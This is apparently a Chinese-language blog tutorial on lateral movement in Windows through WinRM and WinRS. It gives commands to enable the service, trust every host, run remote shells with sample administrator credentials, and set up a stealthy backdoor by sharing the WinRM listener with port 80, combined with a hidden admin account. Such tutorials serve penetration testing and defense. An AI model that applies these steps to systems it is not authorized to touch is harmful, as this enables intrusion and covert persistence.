横向渗透之 [WinRM] & [WinRS]
Windows Lateral-Movement Persistence Pth    2105    0    0

一、Windows 远程管理服务

        WinRM代表Windows远程管理,是一种允许管理员远程执行系统管理任务的服务。通过HTTP(5985)或HTTPS SOAP(5986)执行通信,默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。使用此服务需要管理员级别凭据。

 

二、利用的基础条件

    1. 通信的双方都需要开启WinRM服务

        Windows 2008 以上版本默认自动状态,Windows Vista/win7上必须手动启动;WinRS 适用于Windows 2008 以上版本;Windows 2012 之后的版本默认允许远程任意主机来管理。开启可以使用下面其中一条命令即可

winrm quickconfig -q
Enable-PSRemoting -Force

    2. 服务端防火墙允许WinRM服务端口通信

        默认为5985、5986;如果5985打开,但是5986关闭,标识WinRM服务配置为仅接受HTTP连接。修改默认端口可以使用如下:

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}

 

    3. WinRM通信两端配置要求

    (1)查看WinRM具体配置:

winrm get winrm/config

    (2)允许所有客户端IP连接:

winrm set winrm/config/Client @{TrustedHosts="*"}
winrm e winrm/config/listener # 查看监听地址和端口

 

三、远程管理

    1. WinRS 进行远程管理

winrs -r:http://192.168.1.152:5985 -u:administrator -p:admin123 "whoami /all" # 执行单条命令
winrs -r:http://192.168.1.152:5985 -u:administrator -p:admin123 cmd # 返回交互式cmd

    2. 利用Powershell远程管理

Invoke-Command -ComputerName server01 -Credential domain01\user01 -ScriptBlock {Get-Culture} # 执行单条命令

    

Enter-PSSession -ComputerName 192.168.100.155 -Credential administrator # 返回远程主机的cmdlet

使用上面的缺点是会有弹窗验证,改进方法:将命令写入ps脚本,用powershell执行或者制作票据注入内存。

 

    3. WinRM 远程管理

./winrm -hostname remote.domain.com -username "Administrator" -password "secret" "ipconfig /all"

 

四、其他利用方式

    1. 开启远程主机的3389

        如果目标开启了WinRM可以利用PeekABoo工具使目标开启3389

    2. 端口复用做后门

        将WinRM监听端口由5985改为80或者443,即使端口被web服务也不影响,并且不影响web服务。利用如下:

        (1)配置目标WinRM服务,更改监听端口开启复用

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

        (2)链接目标

winrs -r:http://192.168.1.152 -u:administrator -p:admin123 cmd

该方法适用于有web服务的机器,不会开启新的端口,配合添加隐藏管理员用户,隐蔽性极高。

 

 

觉得不错,点个赞?
Sign in to leave a comment.
No Leanote account ? Sign up now.
0 条评论
文章目录